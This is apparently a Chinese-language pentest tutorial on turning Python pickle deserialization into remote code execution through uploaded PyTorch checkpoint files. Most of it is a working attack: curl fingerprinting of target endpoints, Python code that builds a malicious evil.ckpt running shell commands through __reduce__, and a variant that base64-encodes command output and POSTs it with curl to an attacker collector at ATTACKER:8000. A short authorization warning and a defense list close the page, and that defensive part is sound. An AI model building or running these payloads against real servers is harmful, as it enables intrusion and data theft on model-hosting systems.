跳到主要内容

Python pickle 反序列化到 RCE(以模型加载为例)

Python 的 pickle 是可执行的反序列化格式:pickle 流里可以内嵌任意可调用对象与参数,pickle.loads() 时直接执行。机器学习模型分发大量使用 pickle 序列化,因此“上传模型文件 → 服务端加载”成为一条标准的 RCE 入口。

仅限授权环境

反序列化 payload 会在服务端执行任意代码,只能在授权靶场或明确授权的测试中使用。


适用前提

服务端以不安全方式加载用户上传的模型文件:

写法是否可利用
pickle.loads(user_file)是,任意 pickle 流都会执行
torch.load(..., weights_only=False)是,完整 pickle 语义可用
torch.load(..., weights_only=True)否,限制为纯数据张量

黑盒上无法直接看到代码,需要靠指纹推断。


服务指纹定位

指纹位置可获取信息
/api/health常暴露 torch 版本,确认服务端框架
FastAPI /openapi.json枚举全部接口,定位接收 model 参数的上传端点
curl -sS http://target/api/health
curl -sS http://target/openapi.json | python3 -m json.tool

/openapi.json 里搜索文件上传类字段(model、checkpoint、weights),确定上传格式要求与接口路径。


手造恶意 checkpoint

PyTorch checkpoint 本质是一个 zip 包,核心是其中的 archive/data.pkl——它就是标准 pickle 流。因此 只需 Python 标准库即可构造恶意模型文件,无需安装 torch

import pickle, zipfile

class Payload:
def __reduce__(self):
import subprocess
return (subprocess.run, (["id"],))

with zipfile.ZipFile("evil.ckpt", "w") as z:
z.writestr("archive/data.pkl", pickle.dumps(Payload()))

__reduce__ 返回 (callable, args)loads() 时等价于 callable(*args),任意函数调用由此展开。本例只执行 id,用于验证加载路径存在。

上传构造好的 evil.ckpt 后,观察响应、日志或无回显通道确认执行结果。


无回显场景:外带收集

加载接口往往只返回“加载成功/失败”,命令输出留在服务端。标准做法是把输出 base64 编码后 POST 到自建 HTTP collector

import pickle, zipfile

CMD = "id | base64 -w0 | curl -sS -X POST --data-binary @- http://ATTACKER:8000/collect"

class Payload:
def __reduce__(self):
import subprocess
return (subprocess.run, (CMD,), {"shell": True})

with zipfile.ZipFile("evil.ckpt", "w") as z:
z.writestr("archive/data.pkl", pickle.dumps(Payload()))

攻击机先起 collector 接收:

python3 -m http.server 8000

POST body 即 base64 编码的命令输出,本地解码还原。


复核要点

检查点说明
加载方式weights_only 取值决定可行,指纹尽量确认 torch 版本
上传接口/openapi.json 确认字段名与格式限制
触发时机模型可能在异步任务中加载,执行不一定同步返回
验证顺序先跑 id 级验证,确认执行后再上外带链
外带链路攻击机端口可达性要先自测

防御建议

  1. 加载模型一律使用 weights_only=True(新版本 torch 默认值),拒绝完整 pickle 语义。
  2. 不加载不可信来源的模型文件;模型分发走内部受控仓库。
  3. 对模型文件做签名校验,加载前验证签名与来源。
  4. 模型服务与业务隔离部署,限制其出站网络,降低外带与横移成功率。
  5. 审计代码库中所有 pickle.loads / torch.load 调用点,确认输入来源。